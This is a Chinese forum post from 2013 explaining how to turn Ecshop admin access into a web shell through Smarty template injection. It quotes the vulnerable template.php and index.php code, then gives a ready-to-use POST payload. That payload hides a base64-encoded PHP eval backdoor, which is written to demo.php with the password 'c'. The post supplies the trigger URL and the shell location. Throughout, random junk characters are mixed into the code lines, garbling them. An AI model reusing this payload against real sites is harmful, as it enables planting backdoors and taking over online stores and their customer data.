找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2465|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板7 J2 z3 d/ d- K6 V* I( C/ w
: d+ g' F" B1 C: k
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
, O& W- S5 O2 `$ ^/ T1 Y但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
% i; s5 R8 Q: ^admin/template.php; ], u- i$ b) c0 \9 B3 ]/ \

: E/ q0 b" t7 J% p5 j1 if ($_REQUEST['act'] == 'update_library') ' |9 A5 E& K- x

3 |1 B) I7 b( W" X: m- y( k2   
/ o. `- j" u9 R' A
: G2 L+ q/ D, |$ Y9 H& d3 { , @6 P6 H4 T& q- E* ~! [8 o8 B

" t  @8 u8 V: |" L' P5 D4     check_authz_json('library_manage');
2 p) S; m+ ~5 g+ m! z/ j2 @6 {
3 k; M. z8 r2 f' [+ R9 Y5   8 D, v% |/ |0 z1 y* n. O3 _
- ~5 S0 K$ B$ N1 q% I. ~& [
6     $html = stripslashes(json_str_iconv($_POST['html'])); 8 x1 N* a2 d# Z- ~

: j& ^! E, n, s% Q! Y+ R$ x5 D8 Q7   
7 f  ^9 i1 v* @5 t. G: G( K+ @' r- g& {
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
* d2 Z: V; i) w+ e
( h- I) E+ e. F# L6 C  S9   
) L, ~- w/ q8 P6 o3 b" c  z$ U' N% ~2 U% y  F9 M+ _$ w
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, K; ~, s5 Y! h0 m( P
) w8 r1 W' K, w5 q( m2 W9 n1 f11   ' ?" G  }& H, \- a5 U1 R

# }" X* Z4 g# ?; N12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
& y* h$ `7 p+ ^3 j* a0 S
, u6 y0 j* ~  b4 ~5 f13   3 [6 e$ Q* e6 u4 o+ r1 A

5 `6 M+ C3 |; `2 n' I& v9 Y4 d14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
" J+ }% N; Y6 J- M4 y: g: e
/ O8 V+ r$ {; _. @2 `2 ?) ?1 _. D15     {
2 J6 N, R; l% ~; c* i& v5 ^, b% |: K1 ]# z* N" o+ G. b: \
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. V. G7 u% `" t  f
/ P$ o" ?: V2 P3 h+ X9 D; M9 _* S17         make_json_result('', $_LANG['update_lib_success']);
$ @7 a6 C0 c1 }7 s
9 e+ v& y7 ^" a18     } 9 ]. n3 F$ [! ?) m! b
' A" f' n5 C7 W, p7 d
19     else / d1 c9 r! J: }. J: l. \
' Q: |' h9 _. Z5 V# V1 m, j# Y
20     { % W6 f$ r+ v. J0 E. j: c" ~8 ?* N

. I7 f2 C$ w  A5 c' R. R6 c0 u# G21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
8 s3 P6 x. G- m0 h3 |+ G1 u& U* w+ a  [  f
22     }
0 W0 u9 l# W9 Q
- o# Y5 T# Z  ?* V( e23 } 4 J2 Z4 y" [7 F

) X, \$ s0 m  G+ k6 I# A: g那么找个比较方便调用了模板的文件
( f, [, h4 u; }; U5 ?. ~index.php
& \$ r( S: K$ D/ g# J: C, X/ L3 f1 y; x! ^- e
1 if ($act == 'cat_rec')
4 b8 L1 L* D  T1 ]: c% T& C7 O1 i% a5 I& J
2   - v+ s( k% V' O  F$ ^% n

$ W; V/ b; ]9 ~& I1 D3 { 6 ]* Z/ d  b: b0 j
" j& J5 ~2 D) ~8 I: e* V
4   + V4 g5 W/ Q2 n% J! c+ j+ y1 s, [3 U
/ b% _. j$ _) i  X; s5 F4 M
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');   ?+ a! ^8 o  I# l  U. R

8 v  n: N* P- Y- P- W) m% E6   
  ^2 f" v: [; d$ {. ]
" K% u" r/ A: S- \* ?% d7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; & o* T) _) f5 h6 W% S
6 u3 X3 }/ x' x# h4 [) c
8   
2 O8 w+ {; m" z1 d; T3 U" S8 X+ h+ `* X  N7 _+ X5 q2 |8 F
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
/ b# r& y. k" R2 _! |$ P7 p" G. x. C+ f) P9 r# z8 H/ y5 P
10   
$ O+ Z. i* ]9 V5 b1 Z$ b: @; }. H) V: r$ z* k+ _" h
11     include_once('includes/cls_json.php'); . G. |( u  o' l" ]7 R8 s
& b* S  S- ?& q/ F5 k
12   
. G: b3 A2 O( M1 d
6 K% t8 a! t4 d2 K; V13     $json = new JSON;
1 q6 {% u$ _+ z! Y- X! \
& }2 ^6 T2 u1 d: U2 z( F0 w- d! i14   
2 p" ~) z' |' `, H. L) M( K4 u8 d
% H# K$ m7 y. s9 n/ J$ b15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; g; A$ c/ g% l7 y6 Y, T: ]7 z1 u/ G7 P) [% @4 J4 R$ `0 T7 b( C
16   & I: U' z1 F+ Q: B

7 }4 C2 h) J8 i. I) I9 \* A17     $children = get_children($cat_id);
$ `# ]$ i, Q# ~9 G
. D3 P" N9 _* W$ S18   
+ V% E: B. z' x3 T2 h% I. s. {
/ }- C# ^) O# g' d# e19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 : R) n; A9 c+ O% G. a5 d

/ }2 x. ?  X1 W# g* E5 f20   $ m$ t' a2 ^  O# \* n0 y# a
  N  z  C/ a" z+ n* D5 D
21     $smarty->assign('cat_rec_sign', 1);
8 g. r' b- f$ V6 f( b7 N8 Y/ k/ Z; v
" N' _$ a5 y2 _22   
5 G% [* ^- `- f/ I$ Z$ E. O3 ~# o* T, O1 }" V( ?& X# U9 Y
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 3 d" N/ M+ p. J7 f5 M' z
6 ~" u4 S$ z+ d" ]9 p6 u5 j
24   
' c! k& c; S4 p/ E* x3 U6 j* s9 t9 ~7 j* w; ^
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ x) ]* R6 N  P- C( x; b6 V& E. W  u4 J( T6 [" j2 m
26   
0 a6 U2 a) ?3 i) i4 B9 C: n4 v3 I, W6 f) g
27         echo $rec_array[$rec_type];
: D. E0 G0 g/ U9 R2 a
& j$ T- S1 I& w5 B9 @28   $ r/ r7 [, C& u

" Z. [% B- ~- Y29     die($json->encode($result)); ! V1 S) _) [( H2 Z4 N' o
' z% g# m, h- G0 X
30   ' L/ x4 K- f2 x1 p

7 U9 f/ Z% @2 \" c( v% e) x31 }
3 q8 {8 N  s& q+ A6 ^6 H! x
4 E: ^) e& Y8 r: x- `& w那么就有利用方法了
! C# ]$ U: A& t1 B4 z0 fpost包到http://localhost/ec/admin/template.php?act=update_library) y# `! W, Q* i) V& r1 {
Post内容:
5 L! Y- z' C% z, b% X
0 d$ g$ g; x9 t! a! C$ K* l/ M. r' _( }2 O* |3 g6 Q" A  r  o
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
4 b! u% ^: w9 m% }; [  C9 R6 I# p  v; T' y% _$ e0 ^. Y
然后访问http://localhost/ec/index.php?act=cat_rec7 K4 c. y' ~/ Y$ u- s; T5 t

/ a* x' u8 l( l$ I2 G  ~; R* Sshel地址:http://localhost/ec/demo.php
8 C& l% @) R9 O/ N密码c
# p( Y' R+ c& s% P+ c0 ?; X/ A
. {  n* n; l" I; B6 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表